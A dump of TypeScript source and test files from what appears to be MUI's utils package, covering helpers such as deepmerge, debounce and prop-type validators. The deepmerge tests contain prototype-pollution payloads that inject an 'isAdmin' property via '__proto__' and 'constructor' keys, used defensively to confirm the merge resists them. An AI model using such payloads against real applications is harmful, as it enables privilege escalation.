    "content": "import PropTypes from 'prop-types';\n\nexport default function chainPropTypes<A, B>(\n  propType1: PropTypes.Validator<A>,\n  propType2: PropTypes.Validator<B>,\n): PropTypes.Validator<A & B> {\n  if (process.env.NODE_ENV === 'production') {\n    return () => null;\n  }\n\n  return function validate(...args) {\n    return propType1(...args) || propType2(...args);\n  };\n}\n"
  },
  {
    "path": "packages/mui-utils/src/chainPropTypes/index.ts",
    "content": "export { default } from './chainPropTypes';\n"
  },
  {
    "path": "packages/mui-utils/src/clamp/clamp.test.ts",
    "content": "import { expect } from 'chai';\nimport clamp from './clamp';\n\ndescribe('clamp', () => {\n  it('clamps a value based on min and max', () => {\n    expect(clamp(1, 2, 4)).to.equal(2);\n    expect(clamp(5, 2, 4)).to.equal(4);\n    expect(clamp(-5, -1, 5)).to.equal(-1);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/clamp/clamp.ts",
    "content": "function clamp(\n  val: number,\n  min: number = Number.MIN_SAFE_INTEGER,\n  max: number = Number.MAX_SAFE_INTEGER,\n): number {\n  return Math.max(min, Math.min(val, max));\n}\n\nexport default clamp;\n"
  },
  {
    "path": "packages/mui-utils/src/clamp/index.ts",
    "content": "export { default } from './clamp';\n"
  },
  {
    "path": "packages/mui-utils/src/composeClasses/composeClasses.test.ts",
    "content": "import { expect } from 'chai';\nimport composeClasses from '@mui/utils/composeClasses';\n\ndescribe('composeClasses', () => {\n  it('should generate the classes based on the slots', () => {\n    expect(\n      composeClasses(\n        {\n          root: ['root', 'standard'],\n          slot: ['slot'],\n        },\n        (slot) => `MuiTest-${slot}`,\n        undefined,\n      ),\n    ).to.deep.equal({\n      root: 'MuiTest-root MuiTest-standard',\n      slot: 'MuiTest-slot',\n    });\n  });\n\n  it('should consider classes if available', () => {\n    expect(\n      composeClasses(\n        {\n          root: ['root', 'standard'],\n          slot: ['slot'],\n        },\n        (slot) => `MuiTest-${slot}`,\n        {\n          standard: 'standardOverride',\n          slot: 'slotOverride',\n        },\n      ),\n    ).to.deep.equal({\n      root: 'MuiTest-root MuiTest-standard standardOverride',\n      slot: 'MuiTest-slot slotOverride',\n    });\n  });\n\n  it('should ignore false values', () => {\n    expect(\n      composeClasses(\n        {\n          root: ['root', false, 'standard'],\n          slot: ['slot'],\n        },\n        (slot) => `MuiTest-${slot}`,\n        {\n          standard: 'standardOverride',\n          slot: 'slotOverride',\n        },\n      ),\n    ).to.deep.equal({\n      root: 'MuiTest-root MuiTest-standard standardOverride',\n      slot: 'MuiTest-slot slotOverride',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/composeClasses/composeClasses.ts",
    "content": "/* eslint no-restricted-syntax: 0, prefer-template: 0, guard-for-in: 0\n   ---\n   These rules are preventing the performance optimizations below.\n */\n\n/**\n * Compose classes from multiple sources.\n *\n * @example\n * ```tsx\n * const slots = {\n *  root: ['root', 'primary'],\n *  label: ['label'],\n * };\n *\n * const getUtilityClass = (slot) => `MuiButton-${slot}`;\n *\n * const classes = {\n *   root: 'my-root-class',\n * };\n *\n * const output = composeClasses(slots, getUtilityClass, classes);\n * // {\n * //   root: 'MuiButton-root MuiButton-primary my-root-class',\n * //   label: 'MuiButton-label',\n * // }\n * ```\n *\n * @param slots a list of classes for each possible slot\n * @param getUtilityClass a function to resolve the class based on the slot name\n * @param classes the input classes from props\n * @returns the resolved classes for all slots\n */\nexport default function composeClasses<ClassKey extends string>(\n  slots: Record<ClassKey, ReadonlyArray<string | false | undefined | null>>,\n  getUtilityClass: (slot: string) => string,\n  classes: Record<string, string> | undefined = undefined,\n): Record<ClassKey, string> {\n  const output: Record<ClassKey, string> = {} as any;\n\n  for (const slotName in slots) {\n    const slot = slots[slotName];\n    let buffer = '';\n    let start = true;\n\n    for (let i = 0; i < slot.length; i += 1) {\n      const value = slot[i];\n      if (value) {\n        buffer += (start === true ? '' : ' ') + getUtilityClass(value);\n        start = false;\n\n        if (classes && classes[value]) {\n          buffer += ' ' + classes[value];\n        }\n      }\n    }\n\n    output[slotName] = buffer;\n  }\n\n  return output;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/composeClasses/index.ts",
    "content": "export { default } from './composeClasses';\n"
  },
  {
    "path": "packages/mui-utils/src/createChainedFunction/createChainedFunction.ts",
    "content": "/**\n * Safe chained function.\n *\n * Will only create a new function if needed,\n * otherwise will pass back existing functions or null.\n */\nexport default function createChainedFunction<Args extends any[], This>(\n  ...funcs: Array<(this: This, ...args: Args) => any>\n): (this: This, ...args: Args) => void {\n  return funcs.reduce(\n    (acc, func) => {\n      if (func == null) {\n        return acc;\n      }\n\n      return function chainedFunction(...args) {\n        acc.apply(this, args);\n        func.apply(this, args);\n      };\n    },\n    () => {},\n  );\n}\n"
  },
  {
    "path": "packages/mui-utils/src/createChainedFunction/index.ts",
    "content": "export { default } from './createChainedFunction';\n"
  },
  {
    "path": "packages/mui-utils/src/debounce/debounce.test.ts",
    "content": "import { expect } from 'chai';\nimport { spy, useFakeTimers } from 'sinon';\nimport debounce from './debounce';\n\ndescribe('debounce', () => {\n  let clock: ReturnType<typeof useFakeTimers>;\n\n  beforeEach(() => {\n    clock = useFakeTimers();\n  });\n\n  afterEach(() => {\n    clock.restore();\n  });\n\n  it('should debounce', () => {\n    const handler = spy();\n    const expectedContext = { foo: 'bar' };\n    let actualContext: any;\n    function collectContext(this: any, ...args: any[]) {\n      // eslint-disable-next-line consistent-this\n      actualContext = this;\n      handler(...args);\n    }\n    const debounced = debounce(collectContext);\n    debounced.apply(expectedContext, ['a', 'b']);\n    expect(handler.callCount).to.equal(0);\n    clock.tick(166);\n    expect(handler.callCount).to.equal(1);\n    expect(handler.args).to.deep.equal([['a', 'b']]);\n    expect(actualContext).to.equal(expectedContext);\n  });\n\n  it('should clear a pending task', () => {\n    const handler = spy();\n    const debounced = debounce(handler);\n\n    debounced();\n    expect(handler.callCount).to.equal(0);\n    debounced.clear();\n    clock.tick(166);\n    expect(handler.callCount).to.equal(0);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/debounce/debounce.ts",
    "content": "export interface Cancelable {\n  clear(): void;\n}\n\n// Corresponds to 10 frames at 60 Hz.\n// A few bytes payload overhead when lodash/debounce is ~3 kB and debounce ~300 B.\nexport default function debounce<T extends (...args: any[]) => any>(func: T, wait = 166) {\n  let timeout: ReturnType<typeof setTimeout>;\n  function debounced(...args: Parameters<T>) {\n    const later = () => {\n      // @ts-ignore\n      func.apply(this, args);\n    };\n    clearTimeout(timeout);\n    timeout = setTimeout(later, wait);\n  }\n\n  debounced.clear = () => {\n    clearTimeout(timeout);\n  };\n\n  return debounced as T & Cancelable;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/debounce/index.ts",
    "content": "export { default } from './debounce';\nexport * from './debounce';\n"
  },
  {
    "path": "packages/mui-utils/src/deepmerge/deepmerge.test.ts",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { isJsdom } from '@mui/internal-test-utils/env';\nimport deepmerge from './deepmerge';\n\ndescribe('deepmerge', () => {\n  // https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/\n  it('should not be subject to prototype pollution via __proto__', () => {\n    const result = deepmerge(\n      {},\n      JSON.parse('{ \"myProperty\": \"a\", \"__proto__\" : { \"isAdmin\" : true } }'),\n      {\n        clone: false,\n      },\n    );\n\n    // @ts-expect-error __proto__ is not on this object type\n    // eslint-disable-next-line no-proto\n    expect(result.__proto__).to.have.property('isAdmin');\n    expect({}).not.to.have.property('isAdmin');\n  });\n\n  // https://cwe.mitre.org/data/definitions/915.html\n  it('should not be subject to prototype pollution via constructor', () => {\n    const result = deepmerge(\n      {},\n      JSON.parse('{ \"myProperty\": \"a\", \"constructor\" : { \"prototype\": { \"isAdmin\" : true } } }'),\n      {\n        clone: true,\n      },\n    );\n\n    expect(result.constructor.prototype).to.have.property('isAdmin');\n    expect({}).not.to.have.property('isAdmin');\n  });\n\n  // https://cwe.mitre.org/data/definitions/915.html\n  it('should not be subject to prototype pollution via prototype', () => {\n    const result = deepmerge(\n      {},\n      JSON.parse('{ \"myProperty\": \"a\", \"prototype\": { \"isAdmin\" : true } }'),\n      {\n        clone: false,\n      },\n    );\n\n    // @ts-expect-error prototype is not on this object type\n    expect(result.prototype).to.have.property('isAdmin');\n    expect({}).not.to.have.property('isAdmin');\n  });\n\n  it('should appropriately copy the fields without prototype pollution', () => {\n    const result = deepmerge(\n      {},\n      JSON.parse('{ \"myProperty\": \"a\", \"__proto__\" : { \"isAdmin\" : true } }'),\n    );\n\n    // @ts-expect-error __proto__ is not on this object type\n    // eslint-disable-next-line no-proto\n    expect(result.__proto__).to.have.property('isAdmin');\n    expect({}).not.to.have.property('isAdmin');\n  });\n\n  it.skipIf(!isJsdom())('should merge objects across realms', async function test() {\n    const { runInNewContext } = await import('vm');\n    const vmObject = runInNewContext('({hello: \"realm\"})');\n    const result = deepmerge({ hello: 'original' }, vmObject);\n    expect(result.hello).to.equal('realm');\n  });\n\n  // https://github.com/mui/material-ui/issues/20095\n  it('should not merge HTML elements', () => {\n    const element = document.createElement('div');\n    const element2 = document.createElement('div');\n\n    const result = deepmerge({ element }, { element: element2 });\n\n    expect(result.element).to.equal(element2);\n  });\n\n  // https://github.com/mui/material-ui/issues/25075\n  it('should reset source when target is undefined', () => {\n    const result = deepmerge(\n      {\n        '&.Mui-disabled': {\n          color: 'red',\n        },\n      },\n      {\n        '&.Mui-disabled': undefined,\n      },\n    );\n    expect(result).to.deep.equal({\n      '&.Mui-disabled': undefined,\n    });\n  });\n\n  it('should merge keys that do not exist in source', () => {\n    const result = deepmerge({ foo: { baz: 'test' } }, { foo: { bar: 'test' }, bar: 'test' });\n    expect(result).to.deep.equal({\n      foo: { baz: 'test', bar: 'test' },\n      bar: 'test',\n    });\n  });\n\n  it('should deep clone source key object if target key does not exist', () => {\n    const foo = { foo: { baz: 'test' } };\n    const bar = {};\n\n    const result = deepmerge(bar, foo);\n\n    expect(result).to.deep.equal({ foo: { baz: 'test' } });\n\n    // @ts-ignore\n    result.foo.baz = 'new test';\n\n    expect(result).to.deep.equal({ foo: { baz: 'new test' } });\n    expect(foo).to.deep.equal({ foo: { baz: 'test' } });\n  });\n\n  it('should not deep clone React element', () => {\n    const element = React.createElement('div', {}, React.createElement('span'));\n    const element2 = React.createElement('a');\n    const result = deepmerge({ element }, { element: element2 });\n\n    expect(result.element).to.equal(element2);\n  });\n\n  it('should not deep clone React component', () => {\n    // most 3rd-party components use `forwardRef`\n    const Link = React.forwardRef((props, ref) => React.createElement('a', { ref, ...props }));\n    const result = deepmerge(\n      { defaultProps: { component: 'a' } },\n      { defaultProps: { component: Link } },\n    );\n\n    expect(result.defaultProps.component).to.equal(Link);\n  });\n\n  it('should deep clone example correctly', () => {\n    const result = deepmerge({ a: { b: 1 }, d: 2 }, { a: { c: 2 }, d: 4 });\n\n    expect(result).to.deep.equal({ a: { b: 1, c: 2 }, d: 4 });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/deepmerge/deepmerge.ts",
    "content": "import * as React from 'react';\nimport { isValidElementType } from 'react-is';\n\n// https://github.com/sindresorhus/is-plain-obj/blob/main/index.js\nexport function isPlainObject(item: unknown): item is Record<keyof any, unknown> {\n  if (typeof item !== 'object' || item === null) {\n    return false;\n  }\n\n  const prototype = Object.getPrototypeOf(item);\n  return (\n    (prototype === null ||\n      prototype === Object.prototype ||\n      Object.getPrototypeOf(prototype) === null) &&\n    !(Symbol.toStringTag in item) &&\n    !(Symbol.iterator in item)\n  );\n}\n\nexport interface DeepmergeOptions {\n  clone?: boolean | undefined;\n}\n\nfunction deepClone<T>(source: T): T | Record<keyof any, unknown> {\n  if (React.isValidElement(source) || isValidElementType(source) || !isPlainObject(source)) {\n    return source;\n  }\n\n  const output: Record<keyof any, unknown> = {};\n\n  Object.keys(source).forEach((key) => {\n    output[key] = deepClone(source[key]);\n  });\n\n  return output;\n}\n\n/**\n * Merge objects deeply.\n * It will shallow copy React elements.\n *\n * If `options.clone` is set to `false` the source object will be merged directly into the target object.\n *\n * @example\n * ```ts\n * deepmerge({ a: { b: 1 }, d: 2 }, { a: { c: 2 }, d: 4 });\n * // => { a: { b: 1, c: 2 }, d: 4 }\n * ````\n *\n * @param target The target object.\n * @param source The source object.\n * @param options The merge options.\n * @param options.clone Set to `false` to merge the source object directly into the target object.\n * @returns The merged object.\n */\nexport default function deepmerge<T>(\n  target: T,\n  source: unknown,\n  options: DeepmergeOptions = { clone: true },\n): T {\n  const output = options.clone ? { ...target } : target;\n\n  if (isPlainObject(target) && isPlainObject(source)) {\n    Object.keys(source).forEach((key) => {\n      if (React.isValidElement(source[key]) || isValidElementType(source[key])) {\n        (output as Record<keyof any, unknown>)[key] = source[key];\n      } else if (\n        isPlainObject(source[key]) &&\n        // Avoid prototype pollution\n        Object.prototype.hasOwnProperty.call(target, key) &&\n        isPlainObject(target[key])\n      ) {\n        // Since `output` is a clone of `target` and we have narrowed `target` in this block we can cast to the same type.\n        (output as Record<keyof any, unknown>)[key] = deepmerge(target[key], source[key], options);\n      } else if (options.clone) {\n        (output as Record<keyof any, unknown>)[key] = isPlainObject(source[key])\n          ? deepClone(source[key])\n          : source[key];\n      } else {\n        (output as Record<keyof any, unknown>)[key] = source[key];\n      }\n    });\n  }\n\n  return output;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/deepmerge/index.ts",
    "content": "export { default } from './deepmerge';\nexport * from './deepmerge';\n"
  },
  {
    "path": "packages/mui-utils/src/deprecatedPropType/deprecatedPropType.test.ts",
    "content": "import { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport deprecatedPropType from '@mui/utils/deprecatedPropType';\n\ndescribe('deprecatedPropType', () => {\n  const componentName = 'ComponentName';\n  const location = 'prop';\n\n  beforeEach(() => {\n    PropTypes.resetWarningCache();\n  });\n\n  it('should not warn', () => {\n    const propName = `children${new Date()}`;\n    const props: Record<string, any> = {};\n    PropTypes.checkPropTypes(\n      {\n        [propName]: deprecatedPropType(PropTypes.string, 'give me a reason'),\n      },\n      props,\n      location,\n      componentName,\n    );\n    expect(() => {}).not.toErrorDev();\n  });\n\n  it('should warn once', () => {\n    const propName = `children`;\n    const props: Record<string, any> = {\n      [propName]: 'yolo',\n    };\n\n    expect(() => {\n      PropTypes.checkPropTypes(\n        {\n          [propName]: deprecatedPropType(PropTypes.string, 'give me a reason'),\n        },\n        props,\n        location,\n        componentName,\n      );\n    }).toErrorDev('give me a reason');\n\n    expect(() => {\n      PropTypes.checkPropTypes(\n        {\n          [propName]: deprecatedPropType(PropTypes.string, 'give me a reason'),\n        },\n        props,\n        location,\n        componentName,\n      );\n    }).not.toErrorDev();\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/deprecatedPropType/deprecatedPropType.ts",
    "content": "import { Validator } from 'prop-types';\n\nexport default function deprecatedPropType<T>(\n  validator: Validator<T>,\n  reason: string,\n): Validator<T> {\n  if (process.env.NODE_ENV === 'production') {\n    return () => null;\n  }\n\n  return (\n    props: Record<string, any>,\n    propName: string,\n    componentName?: string,\n    location?: string,\n    propFullName?: string,\n  ) => {\n    const componentNameSafe = componentName || '<<anonymous>>';\n    const propFullNameSafe = propFullName || propName;\n\n    if (typeof props[propName] !== 'undefined') {\n      return new Error(\n        `The ${location} \\`${propFullNameSafe}\\` of ` +\n          `\\`${componentNameSafe}\\` is deprecated. ${reason}`,\n      );\n    }\n\n    return null;\n  };\n}\n"
  },
  {
    "path": "packages/mui-utils/src/deprecatedPropType/index.ts",
    "content": "export { default } from './deprecatedPropType';\n"
  },
  {
    "path": "packages/mui-utils/src/elementAcceptingRef/elementAcceptingRef.test.tsx",
    "content": "/* eslint-disable react/prefer-stateless-function */\nimport * as React from 'react';\nimport { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport { createRenderer, waitFor, reactMajor } from '@mui/internal-test-utils';\nimport elementAcceptingRef from './elementAcceptingRef';\n\ndescribe('elementAcceptingRef', () => {\n  const { render } = createRenderer();\n\n  function checkPropType(element: any, required = false) {\n    PropTypes.checkPropTypes(\n      { children: required ? elementAcceptingRef.isRequired : elementAcceptingRef },\n      { children: element },\n      'props',\n      'DummyComponent',\n    );\n  }\n\n  beforeEach(() => {\n    PropTypes.resetWarningCache();\n  });\n\n  describe.skipIf(reactMajor >= 19)('acceptance when not required', () => {\n    function assertPass(element: any, { shouldMount = true } = {}) {\n      function testAct() {\n        checkPropType(element);\n        if (shouldMount) {\n          render(React.cloneElement(element, { ref: React.createRef() }));\n        }\n      }\n\n      expect(testAct).not.toErrorDev();\n    }\n\n    it('accepts nully values', () => {\n      assertPass(undefined, { shouldMount: false });\n      assertPass(null, { shouldMount: false });\n    });\n\n    it('accepts host components', () => {\n      assertPass(<div />);\n    });\n\n    it('class components', () => {\n      class Component extends React.Component {\n        render() {\n          return null;\n        }\n      }\n\n      assertPass(<Component />);\n    });\n\n    it('accepts pure class components', () => {\n      class Component extends React.PureComponent {\n        render() {\n          return null;\n        }\n      }\n\n      assertPass(<Component />);\n    });\n\n    it('accepts forwardRef', () => {\n      const Component = React.forwardRef(() => null);\n\n      assertPass(<Component />);\n    });\n\n    it('accepts memo', () => {\n      const Component = React.memo(React.forwardRef(() => null));\n\n      assertPass(<Component />);\n    });\n\n    it('accepts lazy', async () => {\n      const Component = React.lazy(() =>\n        Promise.resolve({\n          default: React.forwardRef<HTMLDivElement>((props, ref) => <div {...props} ref={ref} />),\n        }),\n      );\n\n      function testAct() {\n        checkPropType(<Component />);\n        render(\n          <React.Suspense fallback={<p />}>\n            {React.cloneElement(<Component />, { ref: React.createRef() })}\n          </React.Suspense>,\n        );\n      }\n\n      await waitFor(() => {\n        expect(testAct).not.toErrorDev();\n      });\n    });\n\n    it('technically allows other exotics like strict mode', () => {\n      assertPass(<React.StrictMode />);\n    });\n\n    // undesired behavior\n    it('accepts Fragment', () => {\n      // eslint-disable-next-line react/jsx-no-useless-fragment\n      assertPass(<React.Fragment />);\n    });\n  });\n\n  describe.skipIf(reactMajor >= 19)('rejections', () => {\n    function assertFail(Component: any, hint: string) {\n      expect(() => {\n        checkPropType(Component);\n      }).toErrorDev(\n        'Invalid props `children` supplied to `DummyComponent`. ' +\n          `Expected an element that can hold a ref. ${hint}`,\n      );\n    }\n\n    it('rejects undefined values when required', () => {\n      expect(() => {\n        checkPropType(undefined, true);\n      }).toErrorDev('marked as required');\n    });\n\n    it('rejects null values when required', () => {\n      expect(() => {\n        checkPropType(null, true);\n      }).toErrorDev('marked as required');\n    });\n\n    it('rejects function components', () => {\n      function Component() {\n        return null;\n      }\n\n      assertFail(\n        <Component />,\n        'Did you accidentally use a plain function component for an element instead?',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/elementAcceptingRef/elementAcceptingRef.ts",
    "content": "import PropTypes from 'prop-types';\nimport chainPropTypes from '../chainPropTypes';\n\nfunction isClassComponent(elementType: Function) {\n  // elementType.prototype?.isReactComponent\n  const { prototype = {} } = elementType;\n\n  return Boolean(prototype.isReactComponent);\n}\n\nfunction acceptingRef(\n  props: { [key: string]: unknown },\n  propName: string,\n  componentName: string,\n  location: string,\n  propFullName: string,\n) {\n  const element = props[propName];\n  const safePropName = propFullName || propName;\n\n  if (\n    element == null ||\n    // When server-side rendering React doesn't warn either.\n    // This is not an accurate check for SSR.\n    // This is only in place for Emotion compat.\n    // TODO: Revisit once https://github.com/facebook/react/issues/20047 is resolved.\n    typeof window === 'undefined'\n  ) {\n    return null;\n  }\n\n  let warningHint;\n\n  const elementType: unknown = (element as any).type;\n  /**\n   * Blacklisting instead of whitelisting\n   *\n   * Blacklisting will miss some components, such as React.Fragment. Those will at least\n   * trigger a warning in React.\n   * We can't whitelist because there is no safe way to detect React.forwardRef\n   * or class components. \"Safe\" means there's no public API.\n   *\n   */\n  if (typeof elementType === 'function' && !isClassComponent(elementType)) {\n    warningHint = 'Did you accidentally use a plain function component for an element instead?';\n  }\n\n  if (warningHint !== undefined) {\n    return new Error(\n      `Invalid ${location} \\`${safePropName}\\` supplied to \\`${componentName}\\`. ` +\n        `Expected an element that can hold a ref. ${warningHint} ` +\n        'For more information see https://mui.com/r/caveat-with-refs-guide',\n    );\n  }\n\n  return null;\n}\n\nconst elementAcceptingRef = chainPropTypes(\n  PropTypes.element,\n  acceptingRef,\n) as PropTypes.Requireable<unknown>;\nelementAcceptingRef.isRequired = chainPropTypes(PropTypes.element.isRequired, acceptingRef);\n\nexport default elementAcceptingRef;\n"
  },
  {
    "path": "packages/mui-utils/src/elementAcceptingRef/index.ts",
    "content": "export { default } from './elementAcceptingRef';\n"
  },
  {
    "path": "packages/mui-utils/src/elementTypeAcceptingRef/elementTypeAcceptingRef.test.tsx",
    "content": "/* eslint-disable react/prefer-stateless-function */\nimport * as React from 'react';\nimport { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport { createRenderer, waitFor } from '@mui/internal-test-utils';\nimport elementTypeAcceptingRef from './elementTypeAcceptingRef';\n\nconst [reactMajor, reactMinor] = React.version.split('.').map(Number);\n\ndescribe('elementTypeAcceptingRef', () => {\n  const { render } = createRenderer();\n\n  function checkPropType(elementType: any) {\n    PropTypes.checkPropTypes(\n      { component: elementTypeAcceptingRef },\n      { component: elementType },\n      'props',\n      'DummyComponent',\n    );\n  }\n\n  beforeEach(() => {\n    PropTypes.resetWarningCache();\n  });\n\n  describe('acceptance', () => {\n    function assertPass(Component: any, { failsOnMount = false, shouldMount = true } = {}) {\n      function testAct() {\n        checkPropType(Component);\n        if (shouldMount) {\n          render(<Component ref={React.createRef()} />);\n        }\n      }\n\n      if (failsOnMount) {\n        expect(testAct).toErrorDev([\n          'Did you accidentally provide a React.Fragment instead?',\n          reactMajor < 19 && 'Invalid attribute `ref` supplied to `React.Fragment`.',\n          reactMajor === 19 &&\n            reactMinor < 3 &&\n            'Invalid prop `ref` supplied to `React.Fragment`. React.Fragment can only have `key` and `children` props.',\n        ]);\n      } else {\n        expect(testAct).not.toErrorDev();\n      }\n    }\n\n    it('accepts nully values', () => {\n      assertPass(undefined, { shouldMount: false });\n      assertPass(null, { shouldMount: false });\n    });\n\n    it('accepts host components', () => {\n      assertPass('div');\n    });\n\n    it('class components', () => {\n      class Component extends React.Component {\n        render() {\n          return null;\n        }\n      }\n\n      assertPass(Component);\n    });\n\n    it('accepts pure class components', () => {\n      class Component extends React.PureComponent {\n        render() {\n          return null;\n        }\n      }\n\n      assertPass(Component);\n    });\n\n    it('accepts forwardRef', () => {\n      const Component = React.forwardRef(() => null);\n\n      assertPass(Component);\n    });\n\n    it('accepts memo', () => {\n      const Component = React.memo(React.forwardRef(() => null));\n\n      assertPass(Component);\n    });\n\n    it('accepts lazy', async () => {\n      const Component = React.lazy(() =>\n        Promise.resolve({\n          default: React.forwardRef<HTMLDivElement>((props, ref) => <div ref={ref} {...props} />),\n        }),\n      );\n\n      function testAct() {\n        checkPropType(Component);\n        render(\n          <React.Suspense fallback={<p />}>\n            <Component ref={React.createRef()} />\n          </React.Suspense>,\n        );\n      }\n\n      await waitFor(() => {\n        expect(testAct).not.toErrorDev();\n      });\n    });\n\n    it('technically allows other exotics like strict mode', () => {\n      assertPass(React.StrictMode);\n    });\n\n    // undesired behavior\n    it('accepts Fragment', () => {\n      assertPass(React.Fragment, { failsOnMount: true });\n    });\n  });\n\n  describe('rejections', () => {\n    function assertFail(Component: any, hint: string) {\n      expect(() => {\n        checkPropType(Component);\n      }).toErrorDev(\n        'Invalid props `component` supplied to `DummyComponent`. ' +\n          `Expected an element type that can hold a ref. ${hint}`,\n      );\n    }\n\n    it('rejects function components', () => {\n      function Component() {\n        return null;\n      }\n\n      assertFail(Component, 'Did you accidentally provide a plain function component instead?');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/elementTypeAcceptingRef/elementTypeAcceptingRef.ts",
    "content": "import PropTypes from 'prop-types';\nimport * as React from 'react';\nimport chainPropTypes from '../chainPropTypes';\n\nfunction isClassComponent(elementType: Function) {\n  // elementType.prototype?.isReactComponent\n  const { prototype = {} } = elementType;\n\n  return Boolean(prototype.isReactComponent);\n}\n\nfunction elementTypeAcceptingRef(\n  props: { [key: string]: unknown },\n  propName: string,\n  componentName: string,\n  location: string,\n  propFullName: string,\n) {\n  const propValue = props[propName];\n  const safePropName = propFullName || propName;\n\n  if (\n    propValue == null ||\n    // When server-side rendering React doesn't warn either.\n    // This is not an accurate check for SSR.\n    // This is only in place for emotion compat.\n    // TODO: Revisit once https://github.com/facebook/react/issues/20047 is resolved.\n    typeof window === 'undefined'\n  ) {\n    return null;\n  }\n\n  let warningHint;\n\n  /**\n   * Blacklisting instead of whitelisting\n   *\n   * Blacklisting will miss some components, such as React.Fragment. Those will at least\n   * trigger a warning in React.\n   * We can't whitelist because there is no safe way to detect React.forwardRef\n   * or class components. \"Safe\" means there's no public API.\n   *\n   */\n  if (typeof propValue === 'function' && !isClassComponent(propValue)) {\n    warningHint = 'Did you accidentally provide a plain function component instead?';\n  }\n\n  if (propValue === React.Fragment) {\n    warningHint = 'Did you accidentally provide a React.Fragment instead?';\n  }\n\n  if (warningHint !== undefined) {\n    return new Error(\n      `Invalid ${location} \\`${safePropName}\\` supplied to \\`${componentName}\\`. ` +\n        `Expected an element type that can hold a ref. ${warningHint} ` +\n        'For more information see https://mui.com/r/caveat-with-refs-guide',\n    );\n  }\n\n  return null;\n}\n\nexport default chainPropTypes(PropTypes.elementType, elementTypeAcceptingRef);\n"
  },
  {
    "path": "packages/mui-utils/src/elementTypeAcceptingRef/index.ts",
    "content": "export { default } from './elementTypeAcceptingRef';\n"
  },
  {
    "path": "packages/mui-utils/src/exactProp/exactProp.test.ts",
    "content": "import { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport exactProp from './exactProp';\n\ndescribe('exactProp()', () => {\n  beforeEach(() => {\n    PropTypes.resetWarningCache();\n  });\n\n  it('should return null for supported props', () => {\n    const props = {\n      bar: false,\n    };\n    const propTypes = {\n      bar: PropTypes.bool,\n    };\n\n    expect(() => {\n      PropTypes.checkPropTypes(exactProp(propTypes), props, 'props', 'Component');\n    }).not.toErrorDev();\n  });\n\n  it('should return an error for unsupported props', () => {\n    const props = {\n      foo: false,\n    };\n    const propTypes = {\n      bar: PropTypes.bool,\n    };\n\n    expect(() => {\n      PropTypes.checkPropTypes(exactProp(propTypes), props, 'props', 'Component');\n    }).toErrorDev('The following props are not supported: `foo`. Please remove them');\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/exactProp/exactProp.ts",
    "content": "import { ValidationMap } from 'prop-types';\n// This module is based on https://github.com/airbnb/prop-types-exact repository.\n// However, in order to reduce the number of dependencies and to remove some extra safe checks\n// the module was forked.\n\nconst specialProperty = 'exact-prop: \\u200b';\n\nexport default function exactProp<T>(propTypes: ValidationMap<T>): ValidationMap<T> {\n  if (process.env.NODE_ENV === 'production') {\n    return propTypes;\n  }\n\n  return {\n    ...propTypes,\n    [specialProperty]: (props: { [key: string]: unknown }) => {\n      const unsupportedProps = Object.keys(props).filter((prop) => !propTypes.hasOwnProperty(prop));\n      if (unsupportedProps.length > 0) {\n        return new Error(\n          `The following props are not supported: ${unsupportedProps\n            .map((prop) => `\\`${prop}\\``)\n            .join(', ')}. Please remove them.`,\n        );\n      }\n      return null;\n    },\n  };\n}\n"
  },
  {
    "path": "packages/mui-utils/src/exactProp/index.ts",
    "content": "export { default } from './exactProp';\n"
  },
  {
    "path": "packages/mui-utils/src/extractEventHandlers/extractEventHandlers.test.ts",
    "content": "import { expect } from 'chai';\nimport extractEventHandlers from '@mui/utils/extractEventHandlers';\n\ndescribe('extractEventHandlers', () => {\n  it('extracts the fields starting with `on[A-Z]` and being a function', () => {\n    const input = {\n      onClick: () => {},\n      onChange: () => {},\n      once: () => {},\n      on: () => {},\n      onInvalid: 0,\n      on1: () => {},\n      xonClick: () => {},\n    };\n\n    const result = extractEventHandlers(input);\n    expect(result).to.deep.equal({\n      onClick: input.onClick,\n      onChange: input.onChange,\n    });\n  });\n\n  it('returns an empty object if an empty object is provided', () => {\n    const result = extractEventHandlers({});\n    expect(result).to.deep.equal({});\n  });\n\n  it('returns an empty object if undefined is passed in', () => {\n    const result = extractEventHandlers(undefined);\n    expect(result).to.deep.equal({});\n  });\n\n  it('excludes the provided handlers from the result', () => {\n    const input = {\n      onClick: () => {},\n      onChange: () => {},\n      onFocus: () => {},\n    };\n\n    const result = extractEventHandlers(input, ['onClick', 'onFocus']);\n    expect(result).to.deep.equal({ onChange: input.onChange });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/extractEventHandlers/extractEventHandlers.ts",
    "content": "import { EventHandlers } from '../types';\n\n/**\n * Extracts event handlers from a given object.\n * A prop is considered an event handler if it is a function and its name starts with `on`.\n *\n * @param object An object to extract event handlers from.\n * @param excludeKeys An array of keys to exclude from the returned object.\n */\nfunction extractEventHandlers(\n  object: Record<string, any> | undefined,\n  excludeKeys: string[] = [],\n): EventHandlers {\n  if (object === undefined) {\n    return {};\n  }\n\n  const result: EventHandlers = {};\n\n  Object.keys(object)\n    .filter(\n      (prop) =>\n        prop.match(/^on[A-Z]/) && typeof object[prop] === 'function' && !excludeKeys.includes(prop),\n    )\n    .forEach((prop) => {\n      result[prop] = object[prop];\n    });\n\n  return result;\n}\n\nexport default extractEventHandlers;\n"
  },
  {
    "path": "packages/mui-utils/src/extractEventHandlers/index.ts",
    "content": "export { default } from './extractEventHandlers';\n"
  },
  {
    "path": "packages/mui-utils/src/fastDeepAssign/fastDeepAssign.ts",
